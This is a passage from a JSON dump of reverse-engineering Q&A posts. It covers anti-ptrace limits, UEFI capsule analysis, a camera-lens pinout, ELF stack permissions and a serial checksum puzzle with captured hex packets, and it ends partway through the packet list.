3) No, you can't. At least not reliably. Whichever trick you'd want to use could be intercepted by the tracer. Also, you generally don't want to do this, since you need ptrace to debug your program, and whoever has rights to ptrace you could screw you in various other ways as well. However, a process can't have more than one tracer attached at a time, so you could have a master process that spawns and ptraces the worker, so noone else can attach to the worker to trace it. Of course, the worker would still need a way to check if it's parent is alive (compare getppid() with 1 for example) and that the tracer isn't intercepting your getppid() calls and patching them to return the old parent id.

\n" }, { "Id": "8538", "CreationDate": "2015-03-23T20:53:13.537", "Body": "

I'm looking to identify code changes in the latest UEFI release for my motherboard, to verify whether the changes include mitigations for the row hammer vulnerability. I'm specifically looking at the last 3 releases (2401, 2304, 2201) of the Asus Maximus VII Hero board, which can be downloaded here.

\n\n

The UEFI binaries are provided as CAP files, which I'm not used to seeing. Apparently these are \"UEFI Capsules\", which Intel has a specification for, but I've tried both automatic analysis (with uefi-firmware-parser) and some manual digging to no avail. Running binwalk across them results in the usual noise of supposed LZMA blobs, but even once I grep past those I just run into a couple of false positive detections for encrypted data.

\n\n

The actual data within alternates between repetitive, structured, and high-entropy (encrypted / compressed) blocks, but I can't find anything obvious. Running a bindiff across the different revisions shows me some majorly changed blocks, and some odd bytes here and there.

\n\n

IDA doesn't seem to recognise anything in there as being EFI code, so I'm now stumped.

\n\n

How can I get started with these CAP files? Is there any research out there that I should read? Are there any toolchains to work with them?

\n", "Title": "Reverse engineering UEFI CAP files", "Tags": "|firmware|static-analysis|", "Answer": "

Someone pointed me to UEFITool, which does exactly what I wanted. There's also an extractor version which dumps out all the separate nested binary components to directories. From this I was able to go through and analyse individual modules in IDA (they're x86 PE files, so it's easy).

\n\n

I've not got quite as far as identifying whether the rowhammer mitigations are in place, but I'm writing some scripts to do bindiffs of each changed component, which should hopefully give me some idea of what I'm looking for.

\n" }, { "Id": "8541", "CreationDate": "2015-03-24T11:23:56.920", "Body": "

I would like to control a lens with an Arduino board, but of course, I first have to find out how the protocol works. Using an oscilloscope I was able to find out that the protocol uses High and Low states (about 20ms long) to transfer information, but without even knowing where the ground is, that information is rather unreliable.\nSo what I know so far is this:

\n\n

There are 10 pins, two of which would have to be power and ground for the motors in the lens.\nThe communication is digital, but not necessarily serial (e.g. Camera sends High on Pin X and the shutter in the lens opens and on the next High the shutter closes)\nMy guess is that the protocol is in fact serial as there seems to be a control mechanism in the lens checking the accuracy of the shutter speeds (for which it would need to know them; the shutter speed dial is on the camera)

\n\n

How would I find out the pinout of this connector?

\n\n

The lens is from the Rollei 6000 Series with the PQ shutter. By googling I could only find information about the communication with the filmback.

\n\n

Thank you for you answers.

\n", "Title": "Identifying the pinout of an unknown protocol (Rollei 6000 Camera-Lens communication)", "Tags": "|serial-communication|protocol|communication|", "Answer": "

First thing i'd use is a digital oscilloscope, possibly with an included logic analyzer. Something like this is affordable and allows you to monitor up to 8 channels at the same time. Being able to see the delta times between different lines changing High/Low might help you a lot. (I'm not affiliated with this specific company; their products seem fine from the web site description; you may or may not find a better product/better price elsewhere).

\n\n

Once you have reason to assume one of the lines uses serial communication, you might be interested in a Bus Pirate to investigate further. The Bus pirate also allows you to emulate serial transmission without having to program the arduino a lot; once you know how the protocol works, you can start implementing it (or use a pre-made library).

\n\n

Since you don't know which of the lines is GND, i'd connect ground to the ground pin of the camera's battery. That way, you know for sure it's not on a data line that might change its voltage, and once you've identified the lines that seem to be 'always high' or 'always low', you know which ones are (probably) the power supply.

\n\n

Depending on the physical layout of your hardware, it might be difficult to hook the logic analyzer/bus pirate to the pins while the lens is on the camera. What worked for me in such cases was making a paper template that had holes where the pins were supposed to be, and glue a bunch of thin aluminium foil stripes between two of these templates (of course the stripes need to be insulated from each other). If done with thin paper, you should be able to put it between the camera and the lens.

\n\n

Also, i suggest some kind of precise time source with the logic analyzer, and using a cheap webcam to make a movie when you experiment with camera settings and lens reactions. This will allow you to match individual movie frames with signal transitions later, so you have a much better reference between \"which switches did i press\", \"what did the camera/lens do\", and \"which signals appeared on the data lines\" than when you try to write things down while experimenting.

\n" }, { "Id": "8557", "CreationDate": "2015-03-25T18:27:04.003", "Body": "

Perhaps I am misunderstanding how this works, but to my knowledge ELF binaries can either have NX protections for the stack, or not. What I am assuming is that there is a place in the binary that spells this out, but I'm not sure exactly where this information is stored.

\n\n

How do you figure out the page permissions for an ELF binary from a disassembly?

\n", "Title": "Where are page permissions stored in an ELF binary?", "Tags": "|disassembly|", "Answer": "

The ELF binaries have in them headers named \"program headers\". When the kernel loads up a binary into memory, it only cares about 3 types of headers. PT_LOAD indicating whether or not the content corresponding to the header needs to be loaded into memory, PT_GNU_STACK indicating whether or not the stack needs to be made executable and PT_INTERP for determining the interpreter used to execute the binary.

\n\n

So yes, the kernel sets the stack as non-executable or executable depending on whether or not a program header is present in the ELF. The ELF process can later use mmap/mmap2/mprotect libc/system calls to give executable privileges to specific pages in memory.

\n" }, { "Id": "8561", "CreationDate": "2015-03-26T08:38:03.247", "Body": "

I am writing a program to control an old camera over serial.\nI have no access to the protocol or source code of the demonstration program that i have, but i can generate some correct checksums by monitoring the communications in wireshark.

\n\n

The length of the packets changes depending on what function i perform, and seems to sometimes change depending on the values of the contained data. (FF sometimes repeats in longer frames, although i cant be sure that these arent just errors)

\n\n

The last 2 bytes of data are the checksum i assume. Other parts are the message function and data. In the packet below, the 01 46 corresponds with the value 326 which the software reports.

\n\n
10 02 41 02 20 01 46 10 03 cb a4\n
\n\n

I personally cant see an obvious pattern to the checksum. The first byte seems to increment by 0x10 nicely with the data for a while, before jumping around then decrementing by 0x10, acting erratically.

\n\n

Does this seem familiar to anyone?\nHow can I go about determining the algorithm to generate the checksum on an arbitrary message?

\n\n

Ill attach lots of data for you to look at:

\n\n
\n10 02 41 02 20 01 46 10 03 cb a4\n10 02 41 02 20 00 18 10 03 43 ae\n10 02 41 02 20 00 19 10 03 53 8f\n10 02 41 02 20 00 1a 10 03 63 ec\n10 02 41 02 20 00 1b 10 03 73 cd\n10 02 41 02 20 00 1c 10 03 03 2a\n10 02 41 02 20 00 1d 10 03 13 0b\n10 02 41 02 20 00 1e 10 03 23 68\n10 02 41 02 20 00 1f 10 03 33 49\n10 02 41 02 20 00 20 10 03 f4 f5\n10 02 41 02 20 00 21 10 03 e4 d4\n10 02 41 02 20 00 22 10 03 d4 b7\n10 02 41 02 20 00 23 10 03 c4 96\n10 02 41 02 20 00 24 10 03 b4 71\n10 02 41 02 20 00 25 10 03 a4 50\n10 02 41 02 20 00 26 10 03 94 33\n10 02 41 02 20 00 27 10 03 84 12\n10 02 41 02 20 00 28 10 03 75 fd\n10 02 41 02 20 00 29 10 03 65 dc\n10 02 41 02 20 00 2a 10 03 55 bf\n10 02 41 02 20 00 2b 10 03 45 9e\n10 02 41 02 20 00 2c 10 03 35 79\n10 02 41 02 20 00 2d 10 03 25 58\n10 02 41 02 20 00 2e 10 03 15 3b\n10 02 41 02 20 00 2f 10 03 05 1a\n10 02 41 02 20 00 30 10 03 e6 c4\n10 02 41 02 20 00 31 10 03 f6 e5\n10 02 41 02 20 00 32 10 03 c6 86\n10 02 41 02 20 00 33 10 03 d6 a7\n10 02 41 02 20 00 34 10 03 a6 40\n10 02 41 02 20 00 35 10 03 b6 61\n10 02 41 02 20 00 36 10 03 86 02\n10 02 41 02 20 00 37 10 03 96 23\n10 02 41 02 20 00 38 10 03 67 cc\n10 02 41 02 20 00 39 10 03 77 ed\n10 02 41 02 20 00 3a 10 03 47 8e\n10 02 41 02 20 00 3b 10 03 57 af\n10 02 41 02 20 00 3c 10 03 27 48\n10 02 41 02 20 00 3d 10 03 37 69\n10 02 41 02 20 00 3e 10 03 07 0a\n10 02 41 02 20 00 3f 10 03 17 2b\n10 02 41 02 20 00 40 10 03 98 53\n10 02 41 02 20 00 41 10 03 88 72\n10 02 41 02 20 00 42 10 03 b8 11\n10 02 41 02 20 00 43 10 03 a8 30\n10 02 41 02 20 00 44 10 03 d8 d7\n10 02 41 02 20 00 45 10 03 c8 f6\n10 02 41 02 20 00 46 10 03 f8 95\n10 02 41 02 20 00 47 10 03 e8 b4\n10 02 41 02 20 00 48 10 03 19 5b\n10 02 41 02 20 00 49 10 03 09 7a\n10 02 41 02 20 00 4a 10 03 39 19\n10 02 41 02 20 00 4b 10 03 29 38\n10 02 41 02 20 00 4c 10 03 59 df\n10 02 41 02 20 00 4d 10 03 49 fe\n10 02 41 02 20 00 4e 10 03 79 9d\n10 02 41 02 20 00 4f 10 03 69 bc\n10 02 41 02 20 00 50 10 03 8a 62\n10 02 41 02 20 00 51 10 03 9a 43\n10 02 41 02 20 00 52 10 03 aa 20\n10 02 41 02 20 00 53 10 03 ba 01\n10 02 41 02 20 00 54 10 03 ca e6\n10 02 41 02 20 00 55 10 03 da c7\n10 02 41 02 20 00 56 10 03 ea a4\n10 02 41 02 20 00 57 10 03 fa 85\n10 02 41 02 20 00 58 10 03 0b 6a\n10 02 41 02 20 00 59 10 03 1b 4b\n10 02 41 02 20 00 5a 10 03 2b 28\n10 02 41 02 20 00 5b 10 03 3b 09\n10 02 41 02 20 00 5c 10 03 4b ee\n10 02 41 02 20 00 5d 10 03 5b cf\n10 02 41 02 20 00 5e 10 03 6b ac\n10 02 41 02 20 00 5f 10 03 7b 8d\n10 02 41 02 20 00 60 10 03 bc 31\n10 02 41 02 20 00 61 10 03 ac 10\n10 02 41 02 20 00 62 10 03 9c 73\n10 02 41 02 20 00 63 10 03 8c 52\n10 02 41 02 20 00 64 10 03 fc b5\n10 02 41 02 20 00 65 10 03 ec 94\n10 02 41 02 20 00 66 10 03 dc f7\n10 02 41 02 20 00 67 10 03 cc d6\n10 02 41 02 20 00 68 10 03 3d 39\n10 02 41 02 20 00 69 10 03 2d 18\n10 02 41 02 20 00 6a 10 03 1d 7b\n10 02 41 02 20 00 6b 10 03 0d 5a\n10 02 41 02 20 00 6c 10 03 7d bd\n10 02 41 02 20 00 6d 10 03 6d 9c\n10 02 41 02 20 00 6e 10 03 5d ff ff\n10 02 41 02 20 00 6f 10 03 4d de\n10 02 41 02 20 00 70 10 03 ae 00\n10 02 41 02 20 00 71 10 03 be 21\n10 02 41 02 20 00 72 10 03 8e 42\n10 02 41 02 20 00 73 10 03 9e 63\n10 02 41 02 20 00 74 10 03 ee 84\n10 02 41 02 20 00 75 10 03 fe a5\n10 02 41 02 20 00 76 10 03 ce c6\n10 02 41 02 20 00 77 10 03 de e7\n10 02 41 02 20 00 78 10 03 2f 08\n10 02 41 02 20 00 79 10 03 3f 29\n10 02 41 02 20 00 7a 10 03 0f 4a\n10 02 41 02 20 00 7b 10 03 1f 6b\n10 02 41 02 20 00 7c 10 03 6f 8c\n10 02 41 02 20 00 7d 10 03 7f ad\n10 02 41 02 20 00 7e 10 03 4f ce\n10 02 41 02 20 00 7f 10 03 5f ef\n10 02 41 02 20 00 80 10 03 41 1f\n10 02 41 02 20 00 81 10 03 51 3e\n10 02 41 02 20 00 82 10 03 61 5d\n10 02 41 02 20 00 83 10 03 71 7c\n10 02 41 02 20 00 84 10 03 01 9b\n10 02 41 02 20 00 85 10 03 11 ba\n10 02 41 02 20 00 86 10 03 21 d9\n10 02 41 02 20 00 87 10 03 31 f8\n10 02 41 02 20 00 88 10 03 c0 17\n10 02 41 02 20 00 89 10 03 d0 36\n10 02 41 02 20 00 8a 10 03 e0 55\n10 02 41 02 20 00 8b 10 03 f0 74\n10 02 41 02 20 00 8c 10 03 80 93\n10 02 41 02 20 00 8d 10 03 90 b2\n10 02 41 02 20 00 8e 10 03 a0 d1\n10 02 41 02 20 00 8f 10 03 b0 f0\n10 02 41 02 20 00 90 10 03 53 2e\n10 02 41 02 20 00 91 10 03 43 0f\n10 02 41 02 20 00 92 10 03 73 6c\n10 02 41 02 20 00 93 10 03 63 4d\n10 02 41 02 20 00 94 10 03 13 aa\n10 02 41 02 20 00 95 10 03 03 8b\n10 02 41 02 20 00 97 10 03 23 c9\n10 02 41 02 20 00 98 10 03 d2 26\n10 02 41 02 20 00 99 10 03 c2 07\n10 02 41 02 20 00 9a 10 03 f2 64\n10 02 41 02 20 00 9b 10 03 e2 45\n10 02 41 02 20 00 9c 10 03 92 a2\n10 02 41 02 20 00 9d 10 03 82 83\n10 02 41 02 20 00 9e 10 03 b2 e0\n10 02 41 02 20 00 9f 10 03 a2 c1\n10 02 41 02 20 00 a0 10 03 65 7d\n10 02 41 02 20 00 a1 10 03 75 5c\n10 02 41 02 20 00 a2 10 03 45 3f\n10 02 41 02 20 00 a3 10 03 55 1e\n10 02 41 02 20 00 a4 10 03 25 f9\n10 02 41 02 20 00 a5 10 03 35 d8\n10 02 41 02 20 00 a6 10 03 05 bb\n10 02 41 02 20 00 a7 10 03 15 9a\n10 02 41 02 20 00 a8 10 03 e4 75\n10 02 41 02 20 00 a9 10 03 f4 54\n10 02 41 02 20 00 aa 10 03 c4 37\n10 02 41 02 20 00 ab 10 03 d4 16\n10 02 41 02 20 00 ac 10 03 a4 f1\n10 02 41 02 20 00 ad 10 03 b4 d0\n10 02 41 02 20 00 ae 10 03 84 b3\n10 02 41 02 20 00 af 10 03 94 92\n10 02 41 02 20 00 b0 10 03 77 4c\n10 02 41 02 20 00 b1 10 03 67 6d\n10 02 41 02 20 00 b2 10 03 57 0e\n10 02 41 02 20 00 b3 10 03 47 2f\n10 02 41 02 20 00 b4 10 03 37 c8\n10 02 41 02 20 00 b5 10 03 27 e9\n10 02 41 02 20 00 b6 10 03 17 8a\n10 02 41 02 20 00 b7 10 03 07 ab\n10 02 41 02 20 00 b8 10 03 f6 44\n10 02 41 02 20 00 b9 10 03 e6 65\n10 02 41 02 20 00 ba 10 03 d6 06\n10 02 41 02 20 00 bb 10 03 c6 27\n10 02 41 02 20 00 bc 10 03 b6 c0\n10 02 41 02 20 00 bd 10 03 a6 e1\n10 02 41 02 20 00 be 10 03 96 82\n10 02 41 02 20 00 bf 10 03 86 a3\n10 02 41 02 20 00 c0 10 03 09 db\n10 02 41 02 20 00 c1 10 03 19 fa\n10 02 41 02 20 00 c2 10 03 29 99\n10 02 41 02 20 00 c3 10 03 39 b8\n10 02 41 02 20 00 c4 10 03 49 5f\n10 02 41 02 20 00 c5 10 03 59 7e\n10 02 41 02 20 00 c6 10 03 69 1d\n10 02 41 02 20 00 c7 10 03 79 3c\n10 02 41 02 20 00 c8 10 03 88 d3\n10 02 41 02 20 00 c9 10 03 98 f2\n10 02 41 02 20 00 ca 10 03 a8 91\n10 02 41 02 20 00 cb 10 03 b8 b0\n10 02 41 02 20 00 cc 10 03 c8 57\n10 02 41 02 20 00 cd 10 03 d8 76\n10 02 41 02 20 00 ce 10 03 e8 15\n10 02 41 02 20 00 cf 10 03 f8 34\n10 02 41 02 20 00 d0 10 03 1b ea\n10 02 41 02 20 00 d1 10 03 0b cb\n10 02 41 02 20 00 d2 10 03 3b a8\n10 02 41 02 20 00 d3 10 03 2b 89\n10 02 41 02 20 00 d4 10 03 5b 6e\n10 02 41 02 20 00 d5 10 03 4b 4f\n10 02 41 02 20 00 d6 10 03 7b 2c\n10 02 41 02 20 00 d7 10 03 6b 0d\n10 02 41 02 20 00 d8 10 03 9a e2\n10 02 41 02 20 00 d9 10 03 8a c3\n10 02 41 02 20 00 da 10 03 ba a0\n10 02 41 02 20 00 db 10 03 aa 81\n10 02 41 02 20 00 dc 10 03 da 66\n10 02 41 02 20 00 dd 10 03 ca 47\n10 02 41 02 20 00 de 10 03 fa 24\n10 02 41 02 20 00 df 10 03 ea 05\n10 02 41 02 20 00 e0 10 03 2d b9\n10 02 41 02 20 00 e1 10 03 3d 98\n10 02 41 02 20 00 e2 10 03 0d fb\n10 02 41 02 20 00 e3 10 03 1d da\n10 02 41 02 20 00 e4 10 03 6d 3d\n10 02 41 02 20 00 e5 10 03 7d 1c\n10 02 41 02 20 00 e6 10 03 4d 7f\n10 02 41 02 20 00 e7 10 03 5d 5e\n10 02 41 02 20 00 e8 10 03 ac b1\n10 02 41 02 20 00 e9 10 03 bc 90\n10 02 41 02 20 00 ea 10 03 8c f3\n10 02 41 02 20 00 eb 10 03 9c d2\n10 02 41 02 20 00 ec 10 03 ec 35\n10 02 41 02 20 00 ed 10 03 fc 14\n10 02 41 02 20 00 ee 10 03 cc 77\n10 02 41 02 20 00 ef 10 03 dc 56\n10 02 41 02 20 00 f0 10 03 3f 88\n10 02 41 02 20 00 f1 10 03 2f a9\n10 02 41 02 20 00 f2 10 03 1f ca\n10 02 41 02 20 00 f3 10 03 0f eb\n10 02 41 02 20 00 f4 10 03 7f 0c\n10 02 41 02 20 00 f5 10 03 6f 2d\n10 02 41 02 20 00 f6 10 03 5f 4e\n10 02 41 02 20 00 f7 10 03 4f 6f\n10 02 41 02 20 00 f8 10 03 be 80\n10 02 41 02 20 00 f9 10 03 ae a1\n10 02 41 02 20 00 fa 10 03 9e c2\n10 02 41 02 20 00 fb 10 03 8e e3\n10 02 41 02 20 00 fc 10 03 fe 04\n10 02 41 02 20 00 fd 10 03 ee 25\n10 02 41 02 20 00 fe 10 03 de 46\n10 02 41 02 20 00 ff ff 10 03 ce 67\n10 02 41 02 20 01 00 10 03 e3 a6\n10 02 41 02 20 01 01 10 03 f3 87\n10 02 41 02 20 01 02 10 03 c3 e4\n10 02 41 02 20 01 03 10 03 d3 c5\n10 02 41 02 20 01 04 10 03 a3 22\n10 02 41 02 20 01 05 10 03 b3 03\n10 02 41 02 20 01 06 10 03 83 60\n10 02 41 02 20 01 07 10 03 93 41\n10 02 41 02 20 01 08 10 03 62 ae\n10 02 41 02 20 01 09 10 03 72 8f\n10 02 41 02 20 01 0a 10 03 42 ec\n10 02 41 02 20 01 0b 10 03 52 cd\n10 02 41 02 20 01 0c 10 03 22 2a\n10 02 41 02 20 01 0d 10 03 32 0b\n10 02 41 02 20 01 0e 10 03 02 68\n10 02 41 02 20 01 0f 10 03 12 49\n10 02 41 02 20 01 10 10 10 03 f1 97\n10 02 41 02 20 01 11 10 03 e1 b6\n10 02 41 02 20 01 12 10 03 d1 d5\n10 02 41 02 20 01 13 10 03 c1 f4\n10 02 41 02 20 01 14 10 03 b1 13\n10 02 41 02 20 01 15 10 03 a1 32\n10 02 41 02 20 01 16 10 03 91 51\n10 02 41 02 20 01 17 10 03 81 70\n10 02 41 02 20 01 18 10 03 70 9f\n10 02 41 02 20 01 19 10 03 60 be\n10 02 41 02 20 01 1a 10 03 50 dd\n10 02 41 02 20 01 1b 10 03 40 fc\n10 02 41 02 20 01 1c 10 03 30 1b\n10 02 41 02 20 01 1d 10 03 20 3a\n10 02 41 02 20 01 1e 10 03 10 59\n10 02 41 02 20 01 1f 10 03 00 78\n10 02 41 02 20 01 20 10 03 c7 c4\n10 02 41 02 20 01 21 10 03 d7 e5\n10 02 41 02 20 01 22 10 03 e7 86\n10 02 41 02 20 01 23 10 03 f7 a7\n10 02 41 02 20 01 24 10 03 87 40\n10 02 41 02 20 01 25 10 03 97 61\n10 02 41 02 20 01 26 10 03 a7 02\n10 02 41 02 20 01 27 10 03 b7 23\n10 02 41 02 20 01 28 10 03 46 cc\n10 02 41 02 20 01 29 10 03 56 ed\n10 02 41 02 20 01 2a 10 03 66 8e\n10 02 41 02 20 01 2b 10 03 76 af\n10 02 41 02 20 01 2c 10 03 06 48\n10 02 41 02 20 01 2d 10 03 16 69\n10 02 41 02 20 01 2e 10 03 26 0a\n10 02 41 02 20 01 2f 10 03 36 2b\n10 02 41 02 20 01 30 10 03 d5 f5\n10 02 41 02 20 01 31 10 03 c5 d4\n10 02 41 02 20 01 32 10 03 f5 b7\n10 02 41 02 20 01 33 10 03 e5 96\n10 02 41 02 20 01 34 10 03 95 71\n10 02 41 02 20 01 35 10 03 85 50\n10 02 41 02 20 01 36 10 03 b5 33\n10 02 41 02 20 01 37 10 03 a5 12\n10 02 41 02 20 01 38 10 03 54 fd\n10 02 41 02 20 01 39 10 03 44 dc\n10 02 41 02 20 01 3a 10 03 74 bf\n10 02 41 02 20 01 3b 10 03 64 9e\n10 02 41 02 20 01 3c 10 03 14 79\n10 02 41 02 20 01 3d 10 03 04 58\n10 02 41 02 20 01 3e 10 03 34 3b\n10 02 41 02 20 01 3f 10 03 24 1a\n10 02 41 02 20 01 40 10 03 ab 62\n10 02 41 02 20 01 41 10 03 bb 43\n10 02 41 02 20 01 42 10 03 8b 20\n10 02 41 02 20 01 43 10 03 9b 01\n10 02 41 02 20 01 44 10 03 eb e6\n10 02 41 02 20 01 45 10 03 fb c7\n10 02 41 02 20 01 46 10 03 cb a4\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 08 10 03 b9 39\n10 02 41 02 02 00 08 10 03 b9 39\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 0a 10 03 99 7b\n10 02 41 02 02 00 0a 10 03 99 7b\n10 02 41 02 02 00 0b 10 03 89 5a\n10 02 41 02 02 00 0b 10 03 89 5a\n10 02 41 02 02 00 0d 10 03 e9 9c\n10 02 41 02 02 00 0d 10 03 e9 9c\n10 02 41 02 02 00 0e 10 03 d9 ff ff\n10 02 41 02 02 00 0f 10 03 c9 de\n10 02 41 02 02 00 10 10 10 03 2a 00\n10 02 41 02 02 00 11 10 03 3a 21\n10 02 41 02 02 00 12 10 03 0a 42\n10 02 41 02 02 00 13 10 03 1a 63\n10 02 41 02 02 00 14 10 03 6a 84\n10 02 41 02 02 00 17 10 03 5a e7\n10 02 41 02 02 00 19 10 03 bb 29\n10 02 41 02 02 00 1d 10 03 fb ad\n10 02 41 02 02 00 20 10 03 1c 53\n10 02 41 02 02 00 27 10 03 6c b4\n10 02 41 02 02 00 2d 10 03 cd fe\n10 02 41 02 02 00 3c 10 03 cf ee\n10 02 41 02 02 00 49 10 03 e1 dc\n10 02 41 02 02 00 7e 10 03 a7 68\n10 02 41 02 02 00 c4 10 03 a1 f9\n10 02 41 02 02 7e e3 10 03 de 2a\n10 02 41 02 02 7e da 10 03 79 50\n10 02 41 02 02 7e d1 10 03 c8 3b\n10 02 41 02 02 7e c8 10 03 4b 23\n10 02 41 02 02 7e b3 10 03 84 df\n10 02 41 02 02 7e 80 10 03 82 ef\n10 02 41 02 02 7e 3a 10 03 84 7e\n10 02 41 02 02 7d d5 10 03 dd ec\n10 02 41 02 02 7d 36 10 03 10 a1\n10 02 41 02 02 7c 18 10 03 e6 3c\n10 02 41 02 02 7b a9 10 03 c8 51\n10 02 41 02 02 00 49 10 03 e1 dc\n10 02 41 02 02 00 2d 10 03 cd fe\n10 02 41 02 02 00 3c 10 03 cf ee\n10 02 41 02 02 00 7e 10 03 a7 68\n10 02 41 02 02 01 c6 10 03 b2 8a\n10 02 41 02 02 7e e3 10 03 de 2a\n10 02 42 02 01 10 03 05 8e\n10 02 f4 02 20 00 01 00 01 10 03 4a bb\n10 02 f4 02 20 00 01 00 00 10 03 5a 9a\n10 02 f4 02 20 00 02 01 10 03 92 93\n10 02 f4 02 20 00 02 00 10 03 82 b2\n10 02 f4 02 28 00 00 fc 10 03 4f 80\n10 02 f4 02 28 00 00 f9 10 03 1f 25\n10 02 f4 02 28 00 00 f6 10 03 ee ca\n10 02 f4 02 28 00 00 f3 10 03 be 6f\n10 02 f4 02 28 00 00 f0 10 03 8e 0c\n10 02 f4 02 28 00 00 ed 10 03 4d 90\n10 02 f4 02 28 00 00 ea 10 03 3d 77\n10 02 f4 02 28 00 00 e7 10 03 ec da\n10 02 f4 02 28 00 00 e4 10 03 dc b9\n10 02 f4 02 28 00 00 e1 10 03 8c 1c\n10 02 f4 02 28 00 00 de 10 03 4b a0\n10 02 f4 02 28 00 00 db 10 03 1b 05\n10 02 f4 02 28 00 00 d8 10 03 2b 66\n10 02 f4 02 28 00 00 d5 10 03 fa cb\n10 02 f4 02 28 00 00 d3 10 03 9a 0d\n10 02 f4 02 28 00 00 d0 10 03 aa 6e\n10 02 f4 02 28 00 00 cd 10 03 69 f2\n10 02 f4 02 28 00 00 ca 10 03 19 15\n10 02 f4 02 28 00 00 c7 10 03 c8 b8\n10 02 f4 02 28 00 00 c4 10 03 f8 db\n10 02 f4 02 28 00 00 c1 10 03 a8 7e\n10 02 f4 02 28 00 00 be 10 03 27 06\n10 02 f4 02 28 00 00 bb 10 03 77 a3\n10 02 f4 02 28 00 00 b8 10 03 47 c0\n10 02 f4 02 28 00 00 b5 10 03 96 6d\n10 02 f4 02 28 00 00 b2 10 03 e6 8a\n10 02 f4 02 28 00 00 af 10 03 25 16\n10 02 f4 02 28 00 00 ac 10 03 15 75\n10 02 f4 02 28 00 00 a9 10 03 45 d0\n10 02 f4 02 28 00 00 a6 10 03 b4 3f\n10 02 f4 02 28 00 00 a3 10 03 e4 9a\n10 02 f4 02 28 00 00 a0 10 03 d4 f9\n10 02 f4 02 28 00 00 9d 10 03 33 07\n10 02 f4 02 28 00 00 9a 10 03 43 e0\n10 02 f4 02 28 00 00 94 10 03 a2 2e\n10 02 f4 02 28 00 00 91 10 03 f2 8b\n10 02 f4 02 28 00 00 8e 10 03 11 55\n10 02 f4 02 28 00 00 8b 10 03 41 f0\n10 02 f4 02 28 00 00 88 10 03 71 93\n10 02 f4 02 28 00 00 85 10 03 a0 3e\n10 02 f4 02 28 00 00 82 10 03 d0 d9\n10 02 f4 02 28 00 00 7f 10 03 ee 6b\n10 02 f4 02 28 00 00 7d 10 03 ce 29\n10 02 f4 02 28 00 00 7a 10 03 be ce\n10 02 f4 02 28 00 00 77 10 03 6f 63\n10 02 f4 02 28 00 00 74 10 03 5f 00\n10 02 f4 02 28 00 00 71 10 03 0f a5\n10 02 f4 02 28 00 00 6e 10 03 ec 7b\n10 02 f4 02 28 00 00 6b 10 03 bc de\n10 02 f4 02 28 00 00 68 10 03 8c bd\n10 02 f4 02 28 00 00 65 10 03 5d 10\n10 02 f4 02 28 00 00 62 10 03 2d f7\n10 02 f4 02 28 00 00 5f 10 03 ca 09\n10 02 f4 02 28 00 00 5c 10 03 fa 6a\n10 02 f4 02 28 00 00 59 10 03 aa cf\n10 02 f4 02 28 00 00 56 10 03 5b 20\n10 02 f4 02 28 00 00 53 10 03 0b 85\n10 02 f4 02 28 00 00 50 10 03 3b e6\n10 02 f4 02 28 00 00 4d 10 03 f8 7a\n10 02 f4 02 28 00 00 4a 10 03 88 9d\n10 02 f4 02 28 00 00 47 10 03 59 30\n10 02 f4 02 28 00 00 44 10 03 69 53\n10 02 f4 02 28 00 00 41 10 03 39 f6\n10 02 f4 02 28 00 00 3e 10 03 b6 8e\n10 02 f4 02 28 00 00 3b 10 03 e6 2b\n10 02 f4 02 28 00 00 38 10 03 d6 48\n10 02 f4 02 28 00 00 35 10 03 07 e5\n10 02 f4 02 28 00 00 32 10 03 77 02\n10 02 f4 02 28 00 00 2f 10 03 b4 9e\n10 02 f4 02 28 00 00 2c 10 03 84 fd\n10 02 f4 02 28 00 00 2a 10 03 e4 3b\n10 02 f4 02 28 00 00 27 10 03 35 96\n10 02 f4 02 28 00 00 24 10 03 05 f5\n10 02 f4 02 28 00 00 21 10 03 55 50\n10 02 f4 02 28 00 00 1e 10 03 92 ec\n10 02 f4 02 28 00 00 1b 10 03 c2 49\n10 02 f4 02 28 00 00 18 10 03 f2 2a\n10 02 f4 02 28 00 00 15 10 03 23 87\n10 02 f4 02 28 00 00 12 10 03 53 60\n10 02 f4 02 28 00 00 0f 10 03 90 fc\n10 02 f4 02 28 00 00 0c 10 03 a0 9f\n10 02 f4 02 28 00 00 09 10 03 f0 3a\n10 02 f4 02 28 00 00 06 10 03 01 d5\n10 02 f4 02 28 00 00 03 10 03 51 70\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 28 00 00 01 10 03 71 32\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 28 00 00 fe 10 03 6f c2\n10 02 f4 02 28 00 00 ff ff 10 03 7f e3\n10 02 f4 02 28 00 00 01 10 03 71 32\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 